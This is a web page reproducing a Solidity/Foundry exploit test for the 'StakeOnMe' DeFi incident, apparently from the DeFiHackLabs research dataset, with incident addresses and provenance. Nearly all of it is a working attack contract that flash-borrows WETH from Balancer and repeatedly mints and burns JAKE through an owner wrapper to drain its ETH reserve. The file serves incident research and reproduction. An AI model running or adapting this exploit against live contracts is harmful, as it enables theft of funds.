Public reproduction file
src/test/2026-03/unverified_237d_exp.sol
Public reproduction file for dataset entry StakeOnMe.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 0.28 ETH8// Attacker : 0xbdcdc1d072dfd2a1401e88959c31071fc585ce8e9// Attack Contract : 0x8a9be1b19895798287a5a9b64db3d133e0297cda10// Vulnerable Contract : 0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f11// Victim : 0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f12// Attack Tx : https://etherscan.io/tx/0xed71e72ba1be2cff06438fab558a79936414d24dd1f6d3e58ecadc2a8f673fe514// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f#code17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/203453254990558041719//20// The JAKE meToken owner is an unverified public wrapper. The attacker repeatedly minted JAKE through the wrapper's21// payable path, then burned the freshly minted balance through the same owner-privileged wrapper. Because the burn is22// routed by the token owner, the wrapper pays out more ETH than the raw mint cost and drains reserve value over 8023// traced cycles before repaying a zero-fee Balancer WETH flash loan.25address constant ATTACKER = 0xbDcdC1D072DFd2a1401e88959c31071FC585CE8E;26address constant STAKEONME_OWNER_WRAPPER = 0x237d59bF98Ec4f4F013bc35D66f22d2Bc9504b3F;27address constant JAKE_METOKEN = 0x277697FA7C134A7Fcc2AAAf812Bdf1FD8b68B818;28address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;31uint256 constant WETH_FLASH_AMOUNT = 1.5 ether;33interface IStakeOnMeOwnerWrapper {34 function burn(35 uint256 amount36 ) external;38 function poolBalance() external view returns (uint256);39}41contract ContractTest is BaseTestWithBalanceLog {42 function setUp() public {43 uint256 forkBlock = 24_664_322;44 vm.createSelectFork("mainnet", forkBlock);45 fundingToken = address(0);46 attacker = ATTACKER;48 vm.label(ATTACKER, "Attacker EOA");49 vm.label(STAKEONME_OWNER_WRAPPER, "StakeOnMe JAKE Owner Wrapper");50 vm.label(JAKE_METOKEN, "JAKE meToken");51 vm.label(BALANCER_VAULT, "Balancer Vault");52 vm.label(WETH_TOKEN, "WETH");53 }55 function testExploit() public balanceLog2(ATTACKER) {56 assertEq(IERC20(JAKE_METOKEN).owner(), STAKEONME_OWNER_WRAPPER, "unexpected JAKE owner");58 StakeOnMeAttack attack = new StakeOnMeAttack(ATTACKER);59 vm.label(address(attack), "Local Attack Contract");61 uint256 attackerEthBefore = ATTACKER.balance;62 uint256 wrapperPoolBefore = IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).poolBalance();64 attack.run();66 uint256 attackerProfit = ATTACKER.balance - attackerEthBefore;67 uint256 wrapperPoolAfter = IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).poolBalance();69 emit log_named_decimal_uint("Attacker ETH profit", attackerProfit, 18);70 emit log_named_decimal_uint("Wrapper pool balance before", wrapperPoolBefore, 18);71 emit log_named_decimal_uint("Wrapper pool balance after", wrapperPoolAfter, 18);73 assertGt(attackerProfit, 0.27 ether, "ETH profit below traced impact");74 assertLt(wrapperPoolAfter, wrapperPoolBefore, "wrapper pool balance did not decrease");75 assertEq(IERC20(WETH_TOKEN).balanceOf(address(attack)), 0, "WETH left on helper");76 assertEq(IERC20(JAKE_METOKEN).balanceOf(address(attack)), 0, "JAKE left on helper");77 assertEq(address(attack).balance, 0, "ETH left on helper");78 }79}81contract StakeOnMeAttack {82 address private immutable profitReceiver;84 constructor(85 address profitReceiver_86 ) {87 profitReceiver = profitReceiver_;88 }90 receive() external payable {}92 function run() external {93 address[] memory tokens = new address[](1);94 tokens[0] = WETH_TOKEN;96 uint256[] memory amounts = new uint256[](1);97 amounts[0] = WETH_FLASH_AMOUNT;99 // step 1: borrow the same 1.5 WETH from Balancer.100 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");101 }103 function receiveFlashLoan(104 address[] memory tokens,105 uint256[] memory amounts,106 uint256[] memory feeAmounts,107 bytes memory108 ) external {109 require(msg.sender == BALANCER_VAULT, "caller must be Balancer");110 require(tokens.length == 1 && tokens[0] == WETH_TOKEN, "unexpected flash token");111 require(amounts[0] == WETH_FLASH_AMOUNT, "unexpected flash amount");112 require(feeAmounts[0] == 0, "unexpected Balancer fee");114 // step 2: unwrap the WETH flash loan to fund the owner-wrapper mint path.115 IWETH(payable(WETH_TOKEN)).withdraw(amounts[0]);117 // step 3: run the three trace-supported mint groups and derive each burn amount from the minted JAKE balance.118 _mintAndBurnGroup(0.025 ether, 40);119 _mintAndBurnGroup(0.01 ether, 30);120 _mintAndBurnGroup(0.005 ether, 10);122 // step 4: rewrap and repay the zero-fee Balancer loan, then forward the native ETH profit.123 uint256 debt = amounts[0] + feeAmounts[0];124 require(address(this).balance > debt, "cycle did not produce profit");125 IWETH(payable(WETH_TOKEN)).deposit{value: debt}();126 require(IERC20(WETH_TOKEN).transfer(BALANCER_VAULT, debt), "repay WETH");128 _sweepProfit();129 }131 function _mintAndBurnGroup(132 uint256 mintValue,133 uint256 count134 ) private {135 bytes4 preBurnSelector = 0xcfd26d5d;137 for (uint256 i = 0; i < count; ++i) {138 uint256 balanceBefore = IERC20(JAKE_METOKEN).balanceOf(address(this));140 (bool minted,) = payable(STAKEONME_OWNER_WRAPPER).call{value: mintValue}("");141 require(minted, "owner-wrapper mint failed");143 uint256 mintedAmount = IERC20(JAKE_METOKEN).balanceOf(address(this)) - balanceBefore;144 require(mintedAmount > 0, "no JAKE minted");146 (bool prepared,) = STAKEONME_OWNER_WRAPPER.call(abi.encodeWithSelector(preBurnSelector));147 require(prepared, "pre-burn call failed");149 IStakeOnMeOwnerWrapper(STAKEONME_OWNER_WRAPPER).burn(mintedAmount);150 require(IERC20(JAKE_METOKEN).balanceOf(address(this)) == balanceBefore, "JAKE not burned");151 }152 }154 function _sweepProfit() private {155 uint256 profit = address(this).balance;156 if (profit != 0) {157 (bool sent,) = payable(profitReceiver).call{value: profit}("");158 require(sent, "profit transfer failed");159 }160 }161}Analysis
Dataset entry
Public Foundry test for “StakeOnMe” (2026-03-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/WhalebitOracleManipulation_exp.solSame month in the dataset · 199 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xbdcdc1d072dfd2a1401e88959c31071fc585ce8e
- Attack Contract
0x8a9be1b19895798287a5a9b64db3d133e0297cda
- Vulnerable Contract
0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f
- Victim
0x237d59bf98ec4f4f013bc35d66f22d2bc9504b3f
- Attack Tx
0xed71e72ba1be2cff06438fab558a79936414d24dd1f6d3e58ecadc2a8f673fe5
File record
- Name
- StakeOnMe
- Path
- src/test/2026-03/unverified_237d_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0884fb16db2c08afdd8e549ab688e6ef37258f2c
- Language
- Solidity
- Size
- 162 lines
- Date
- 2026-03-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/unverified_237d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0884fb16db2c08afdd8e549ab688e6ef37258f2c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.